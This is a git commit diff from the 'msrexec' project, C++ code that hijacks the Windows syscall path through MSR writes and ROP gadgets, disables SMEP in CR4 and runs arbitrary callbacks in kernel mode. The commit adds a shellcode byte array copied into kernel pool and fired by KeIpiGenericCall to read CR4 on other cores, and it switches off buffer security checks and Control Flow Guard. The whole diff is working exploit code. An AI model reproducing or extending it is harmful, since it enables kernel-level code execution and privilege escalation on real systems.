Merge branch 'dev' into 'master'

added KeIpiGenericCall callback to grab CR4 from another core

See merge request _xeroxz/msrexec!4
master
_xeroxz 4 years ago
commit 6bba9be231

@ -22,6 +22,91 @@ namespace vdm
if (!find_globals()) if (!find_globals())
std::printf("> failed to find globals...\n"); std::printf("> failed to find globals...\n");
// guess CR4 value for now...
// later on I get real cr4 value from IPI...
const auto cr4_value = guess_cr4_value();
m_smep_on.flags = cr4_value.flags;
m_smep_off.flags = cr4_value.flags;
m_smep_off.smep_enable = false;
ntoskrnl_base =
reinterpret_cast<void*>(
utils::kmodule::get_base("ntoskrnl.exe"));
get_system_routine =
reinterpret_cast<get_system_routine_t>(
utils::kmodule::get_export(
"ntoskrnl.exe", "RtlFindExportedRoutineByName"));
// debug prints...
std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
std::printf("> m_system_call -> 0x%p\n", m_system_call);
std::printf("> m_smep_off -> 0x%p\n", m_smep_off.flags);
std::printf("> m_smep_on -> 0x%p\n", m_smep_on.flags);
std::printf("> check to make sure none of these^ are zero before pressing enter...\n");
std::getchar();
// when this returns back to UM, CR4 will still potentially contain invalid bits...
this->exec
(
// grab the actual CR4 value from other cores by firing an IPI...
[&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
_ipi_data ipi_data;
cpuid_eax_01 cpuid_info;
__cpuid((int*)&cpuid_info, 1);
const auto cpuid_num =
cpuid_info
.cpuid_additional_information
.initial_apic_id;
ipi_data.core_num = cpuid_num;
const auto ex_alloc =
reinterpret_cast<ex_alloc_t>(
get_kroutine(krnl_base, "ExAllocatePool"));
const auto ex_free =
reinterpret_cast<ex_free_t>(
get_kroutine(krnl_base, "ExFreePool"));
const auto ipi_call =
reinterpret_cast<ipi_call_t>(
get_kroutine(krnl_base, "KeIpiGenericCall"));
const auto ipi_callback_buf =
ex_alloc(NULL, sizeof ipi_callback);
memcpy(ipi_callback_buf, ipi_callback, sizeof ipi_callback);
// please note that &ipi_data will be a
// pointer to the *kernel stack* so its globally mapped...
ipi_call(ipi_callback_buf, &ipi_data);
// fix m_smep_on and m_smep_off values now...
m_smep_on.flags = ipi_data.cr4_val;
m_smep_off.flags = ipi_data.cr4_val;
m_smep_off.smep_enable = false;
// free ipi_callback buffer and return from syscall...
memset(ipi_callback_buf, NULL, sizeof ipi_call);
ex_free(ipi_callback_buf);
}
);
// restore CR4 values so that they are correct
// (syscall handler from last exec hasnt updated CR4 with corrected m_smep_off/m_smep_on)...
this->exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void{});
}
auto msrexec_ctx::guess_cr4_value() -> cr4
{
cpuid_eax_01 cpuid_info; cpuid_eax_01 cpuid_info;
__cpuid((int*)&cpuid_info, 1); __cpuid((int*)&cpuid_info, 1);
@ -49,39 +134,9 @@ namespace vdm
cr4_value.pcid_enable = cr4_value.pcid_enable =
cpuid_info.cpuid_feature_information_ecx cpuid_info.cpuid_feature_information_ecx
.process_context_identifiers; .process_context_identifiers;
m_smep_off.flags = cr4_value.flags; return cr4_value;
m_smep_off.smep_enable = false;
m_smep_off.smap_enable = false; // newer cpus have this on...
// WARNING: some virtual machines dont have SMEP...
// my VMWare VM doesnt... nor does my Virtual Box VM...
m_smep_on.flags = cr4_value.flags;
m_smep_on.smep_enable = cpuid_features.ebx.smep;
m_smep_on.smap_enable = cpuid_features.ebx.smap;
ntoskrnl_base =
reinterpret_cast<void*>(
utils::kmodule::get_base("ntoskrnl.exe"));
get_system_routine =
reinterpret_cast<get_system_routine_t>(
utils::kmodule::get_export(
"ntoskrnl.exe", "RtlFindExportedRoutineByName"));
std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
std::printf("> m_system_call -> 0x%p\n", m_system_call);
std::printf("> m_smep_off -> 0x%p\n", m_smep_off.flags);
std::printf("> m_smep_on -> 0x%p\n", m_smep_on.flags);
std::printf("> check to make sure none of these^ are zero before pressing enter...\n");
std::getchar();
} }
auto msrexec_ctx::find_gadgets() -> bool auto msrexec_ctx::find_gadgets() -> bool

@ -22,10 +22,53 @@ using callback_t = std::function<void(void*, get_system_routine_t)>;
using thread_info_t = std::pair<std::uint32_t, std::uint32_t>; using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
using writemsr_t = std::function<bool(std::uint32_t, std::uintptr_t)>; using writemsr_t = std::function<bool(std::uint32_t, std::uintptr_t)>;
struct _ipi_data
{
std::uint32_t core_num;
std::uint64_t cr4_val;
};
using ex_alloc_t = void* (*)(unsigned, unsigned);
using ex_free_t = void (*)(void*);
using ipi_call_t = void (*)(void*, _ipi_data*);
extern "C" void msrexec_handler(callback_t* callback); extern "C" void msrexec_handler(callback_t* callback);
inline get_system_routine_t get_system_routine = nullptr; inline get_system_routine_t get_system_routine = nullptr;
inline void* ntoskrnl_base = nullptr; inline void* ntoskrnl_base = nullptr;
/*
// this gets copied into a kernel pool
// so all cores can execute it...
void ipi_callback(_ipi_data* ipi_data)
{
cpuid_eax_01 cpuid_info;
__cpuid((int*)&cpuid_info, 1);
const auto cpuid_num =
cpuid_info
.cpuid_additional_information
.initial_apic_id;
if (ipi_data->core_num == cpuid_num)
return;
ipi_data->cr4_val = __readcr4();
}
*/
inline std::uint8_t ipi_callback[] =
{
0x48, 0x89, 0x4C, 0x24, 0x08, 0x53, 0x48, 0x83, 0xEC, 0x20, 0xB8, 0x01,
0x00, 0x00, 0x00, 0x33, 0xC9, 0x0F, 0xA2, 0x4C, 0x8D, 0x44, 0x24, 0x08,
0x41, 0x89, 0x00, 0x41, 0x89, 0x58, 0x04, 0x41, 0x89, 0x48, 0x08, 0x41,
0x89, 0x50, 0x0C, 0x8B, 0x44, 0x24, 0x0C, 0xC1, 0xE8, 0x18, 0x25, 0xFF,
0x00, 0x00, 0x00, 0x89, 0x04, 0x24, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x8B,
0x0C, 0x24, 0x39, 0x08, 0x75, 0x02, 0xEB, 0x0C, 0x0F, 0x20, 0xE0, 0x48,
0x8B, 0x4C, 0x24, 0x30, 0x48, 0x89, 0x41, 0x08, 0x48, 0x83, 0xC4, 0x20,
0x5B, 0xC3
};
namespace vdm namespace vdm
{ {
class msrexec_ctx class msrexec_ctx
@ -36,6 +79,7 @@ namespace vdm
void set_wrmsr(writemsr_t wrmsr); void set_wrmsr(writemsr_t wrmsr);
auto get_wrmsr() -> writemsr_t const; auto get_wrmsr() -> writemsr_t const;
private: private:
auto guess_cr4_value()->cr4;
auto find_gadgets() -> bool; auto find_gadgets() -> bool;
auto find_globals() -> bool; auto find_globals() -> bool;
writemsr_t wrmsr; writemsr_t wrmsr;

@ -76,6 +76,8 @@
<ConformanceMode>true</ConformanceMode> <ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard> <LanguageStandard>stdcpp17</LanguageStandard>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ControlFlowGuard>false</ControlFlowGuard>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Console</SubSystem> <SubSystem>Console</SubSystem>
@ -93,6 +95,9 @@
<ConformanceMode>true</ConformanceMode> <ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard> <LanguageStandard>stdcpp17</LanguageStandard>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary> <RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ControlFlowGuard>false</ControlFlowGuard>
<Optimization>Disabled</Optimization>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Console</SubSystem> <SubSystem>Console</SubSystem>

Loading…
Cancel
Save